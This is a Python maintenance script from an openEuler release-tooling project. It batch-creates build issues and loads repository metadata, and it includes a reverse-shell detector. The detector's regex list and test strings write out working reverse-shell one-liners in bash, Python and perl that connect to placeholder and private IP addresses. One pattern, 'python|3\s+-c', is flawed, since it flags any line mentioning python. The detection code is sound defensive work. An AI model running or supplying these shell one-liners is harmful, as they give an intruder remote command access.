#! /usr/bin/python3
# coding=utf-8
# ******************************************************************************
# Copyright (c) Huawei Technologies Co., Ltd. 2020-2020. All rights reserved.
# licensed under the Mulan PSL v2.
# You can use this software according to the terms and conditions of the Mulan PSL v2.
# You may obtain a copy of Mulan PSL v2 at:
#     http://license.coscl.org.cn/MulanPSL2
# THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND, EITHER EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, MERCHANTABILITY OR FIT FOR A PARTICULAR
# PURPOSE.
# See the Mulan PSL v2 for more details.
# Author: senlin
# Create: 2022-1-19
# ******************************************************************************/


import argparse
import os
import re
import json
from all_commands import AllCommands
from src.libs.logger import logger
from distutils.sysconfig import get_python_lib; 

print(get_python_lib())

PVD = AllCommands()

# 定义反弹shell命令的正则表达式模式
reverse_shell_patterns = [
    r'nc\s+-[lv]\s+p\s+\d+',
    r'ncat\s+-[lv]\s+p\s+\d+',
    r'socat\s+file:`tty`,raw,echo=0\s+tcp-listen:\d+',
    r'bash\s+-i\s+>&\s+/dev/tcp/',
    r'python|3\s+-c\s+',
    r'perl\s+-e\s+\'use\s+Socket;\$i="[\d\.]+";\$p=\d+;socket\(S,PF_INET,SOCK_STREAM,getprotobyname\("tcp"\)\);if\(connect\(S,sockaddr_in\(\$p,inet_aton\(\$i\)\)\)\){open\(STDIN,">&S"\);open\(STDOUT,">&S"\);open\(STDERR,">&S"\);exec\("/bin/sh -i"\);};\''
]

def contains_reverse_shell_command(text):
    # 检查文本是否包含反弹shell命令
    content = text.split('\n')
    for pattern in reverse_shell_patterns:
        for line in content:
            logger.info("line: %s", line)
            if re.search(pattern, line):
                logger.info("match reverse_shell_command: %s", line)
                return True
    return False

if __name__ == "__main__":
    # parser = argparse.ArgumentParser(description='***Command line tool***')
    # subparsers = parser.add_subparsers(dest="command", help='Available commands')
    
    # parser_command2 = subparsers.add_parser("cri", help="create issue for repo in soe")
    # parser_command2.add_argument("-sys", type=str, default='obs', help="choice of rpm build system")
    # parser_command2.add_argument("-names", nargs='+', required=True, help="repo name in soe")
    # parser_command2.add_argument("-state", type=str, default='failed', help="status of repo's build result")
    # parser_command2.add_argument("-prj", type=str, required=True, help="project of repo")
    # parser_command2.add_argument("-arch", type=str, default='x86_64', help="architecture of repo")
    # parser_command2.add_argument("-mile", type=str, default='openEuler-master-dailybuild', help="mind_stone")
    # parser_command2.set_defaults(func=PVD.process_create_package_build_issue)

    # parser_command3 = subparsers.add_parser("apl", help="analyse programing language for package")
    # parser_command3.add_argument("c", help="Argument 1")
    # parser_command3.add_argument("d", help="Argument 2")
    # parser_command3.set_defaults(func=PVD.process_analyse_packages_language)

    # args = parser.parse_args()
    # args.func(args)
    
    # 测试示例文本
    text = """
    nc -lvp 1234
    ncat -lvp 5678
    socat file:`tty`,raw,echo=0 tcp-listen:8888
    bash  -i >& /dev/tcp/192.16.10/9999 0>&1
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.20",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    perl -e 'use Socket;$i="<attacker_ip>";$p=<attacker_port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    """
    
    text2 = """
    python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.20",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    """

    # if contains_reverse_shell_command(text2):
    #     print("The text contains reverse shell commands.")
    # else:
    #     print("The text does not contain reverse shell commands.")

    # ================1. 批量创建issue
    logger.info("start")
    pkgs = []
    with open('failed.txt', encoding='utf-8') as f:
        for line in f.readlines():
            pkgs.append(line.strip())
    
    test_args = dict(command='cri', \
                    sys = 'cbs', \
                    names = pkgs, \
                    state = 'empty', \
                    prj = 'openEuler-master:everything', \
                    arch = 'x86_64', \
                    mile = 'openEuler-master-dailybuild', \
                    label = '')
    # PVD.process_create_package_build_issue(test_args)
        
    # =================2. 批量清理OBS老旧私有project
    # from src.libs.executecmd import ExecuteCmd
    # def delete_project(project_name):
    #     # 删除RPM数据
    #     ExecuteCmd.cmd_status(['osc', 'wipebinaries', '--all', project_name])

    #     # 删除工程
    #     ExecuteCmd.cmd_status(['osc', 'rdelete', '-r', '-f', '-m \" ignore \"', project_name])

    # delete_project('home:senlin:branches:openEuler:Epol')
    
    # projs = []
    # with open('private_projects_delete.txt', 'r') as file:
    #     proj = file.readline()
    #     real_prj = proj.rsplit(' ', 8)[-1]
    #     logger.info(real_prj)
        
    # for prj in projs:
    #     delete_project(prj)
    

    # # ================3. 获取xxproject的包列表及详细状态信息
    # NEED_STATUS = ['failed', 'unresolvable', 'broken'] 
    # need_status = ['succeeded', 'failed', 'unresolvable', 'broken', 'excluded']
    # project=[]
    # branch='openEuler-20.03-LTS-SP3'
    # PVD.process_get_obs_project_packages_status_detail(branch, project, need_status)

    # # ================4. 获取xxproject的软件包（源码包）列表
    # PVD.process_get_source_list(projects = ['openEuler:20.03:LTS:SP3', 'openEuler:20.03:LTS:SP3:Epol'])
    
    # # ================5. 导出指定版本分支，dailybuild路径，目录的rpm信息表格
    # repo_arch = 'source'
    # # repos = {
    # #     'OS': repo_arch
    # #     } 
    
    # repos = {
    #     'everything_src': repo_arch,
    #     'epol': repo_arch
    #     } 
    # branch = 'openEuler-23.03'
    # repo_dir = ''
    # PVD.process_get_repo_from_openeuler(branch, repo_dir, repos, repo_arch)

    # # ================6. 比较两个版本的repo差异
    # repo_arch = 'source'
    # repos = {
    #     'everything_src': '',
    #     'everything_update': repo_arch,
    #     } 
    # PVD.process_diff_2_repos_from_obs('openEuler-20.03-LTS-SP3', 'openEuler-22.03-LTS-SP2', repos, repo_arch)
    

    # # ================7. 导出社区最新的repo等信息
    # PVD.process_refresh_enterprise_full_sig_repos('') # 优先使用该方法
    # PVD.process_refresh_enterprise_projects_id() # ==================13-1. 刷新一版openEuler仓库id
    # PVD.process_refresh_oe_repo_assignee_yaml() # ==================13-2. 刷新一版openEuler仓库负责人
    # PVD.process_refresh_enterprise_member_ids() # ==================13-3. 刷新一版openEuler成员

    # # ================8. 基于primary.xml生成src_bin的映射表
    repo_url = 'http://121.36.84.172/dailybuild/EBS-openEuler-22.03-LTS-SP4/rc5_openeuler-2024-06-26-13-50-33/'
    branch = 'openEuler-22.03-LTS-SP4'
    repos = [
        {   
            "name": "everything",
            "repodata_path": '/'.join([repo_url, 'source', 'repodata']),
            "arch": "src"
            },
        {
            "name": "baseos",
            "repodata_path": '/'.join([repo_url, 'OS', 'aarch64', 'repodata']),
            "arch": "aarch64"
            },
        {
            "name": "epol_main",
            "repodata_path": '/'.join([repo_url, 'EPOL', 'main', 'source', 'repodata']),
            "arch": "src"
            },
        {
            "name": "multi-version_OpenStack-Train",
            "repodata_path": '/'.join([repo_url, 'EPOL', 'multi_version', 'OpenStack', 'Train', 'source', 'repodata']),
            "arch": "src"
            },
        {
            "name": "multi-version_OpenStack-Wallaby",
            "repodata_path": '/'.join([repo_url, 'EPOL', 'multi_version', 'OpenStack', 'Wallaby', 'source', 'repodata']),
            "arch": "src"
            },
        {
            "name": "multi-version_lustre-2.15",
            "repodata_path": '/'.join([repo_url, 'EPOL', 'multi_version', 'lustre', '2.15', 'source', 'repodata']),
            "arch": "src"
            }
    ]
    PVD.process_load_src_bin_repodata(repos, branch)
    # PVD.process_load_src_bin_repodata2()

    # # ================9. 加载版本基线yaml
    # PVD.process_load_release_management_base_line('openEuler-22.03-LTS-SP2')
    current_path = os.getcwd() # 获取当前工作目录
    parent_dir = os.path.dirname(os.path.dirname(current_path)) # 获取当前路径的父目录
    baseline_dir = os.path.join(parent_dir, 'release-management/master')
    # PVD.process_load_master_base_line('../release-management/master')

    # # ================10. 转换package_compilation_optimization_strategy_matrix.csv到字典，再转yaml
    # PVD.process_transfer_strategy_matrix_2_yaml('ros_pkg.csv')
    # PVD.process_transfer_strategy_matrix_2_csv('package_compilation_optimization_strategy_matrix.yaml')
    
    # # ================11. 转换test-workers.csv到字典，再转yaml
    # PVD.process_transfer_workers_2_yaml('w1_test_workers.csv')
    
    # # ================12. 转换everything_spec_name_build_time.csv到字典，再转yaml
    # PVD.process_transfer_build_time_2_yaml('everything_spec_name_build_time.csv')

    # # ================13. 解析EBS的全量软件包构建时长json
    # filename = 'openEuler-22.03-LTS-SP3_everything-x86_64-openEuler_22.03-LTS-SP3.json'
    # PVD.process_transfer_everything_build_time(filename, 'openEuler-22.03-LTS-SP3_everything', 'x86_64')
    
    # # ================14. 模拟解析EulerMaker web查询操作
    # query_body = {
    #     "index":"builds",
    #     "query":{
    #         "size":1,"_source":["build_packages","packages","status","build_type"],
    #         "query":{"match":{"build_id":"b4f0ff46-ff84-11ed-b541-56f169d100b5"}
    #                  }
    #         }
    #     }
    
    # query_body = {
    #     "index":"build_spec_time",
    #     "query":{
    #         "size":1,
    #         "_source":["spec_time",'arch'],
    #         "query":{"match":{"os_project":"openEuler_22.03_LTS_Next_Epol_Multi-Version_lustre_2.15"}
    #                  }
    #         }
    #     }
    # query_body2 = {
    #     "index":"build_spec_time",
    #     "query":{
    #         "size":1,"_source":["spec_time"],
    #         "query":{"bool":{
    #             "must":[
    #                 {"term":{"os_project":"openEuler_22.03_LTS_Next_Epol_Multi-Version_lustre_2.15"}},
    #                 {"term":{"arch":"aarch64"}},
    #                 {"term":{"os_variant":"openEuler:22.03-lts-next-dailybuild"}}
    #             ]
    #         }
    #                  }
    #         }
    #     }
    
    # url = "https://eulermaker.compass-ci.openeuler.openatom.cn/api/data-api/search"
    # PVD.process_mock_ebs_web_post(query_body, url)
    
    # ================15. 计算everything 范围 软件包的out_dep数目
    # PVD.process_get_out_dep_nums('origin_dcg_dict.json')
    
    # ================16. 计算eulermaker的活跃用户
    # PVD.process_get_ebs_users('owners.json')
    
    # ================17. 解析cbs-web使用框架&组件列表
    # PVD.process_get_ebs_deps('package.json')
    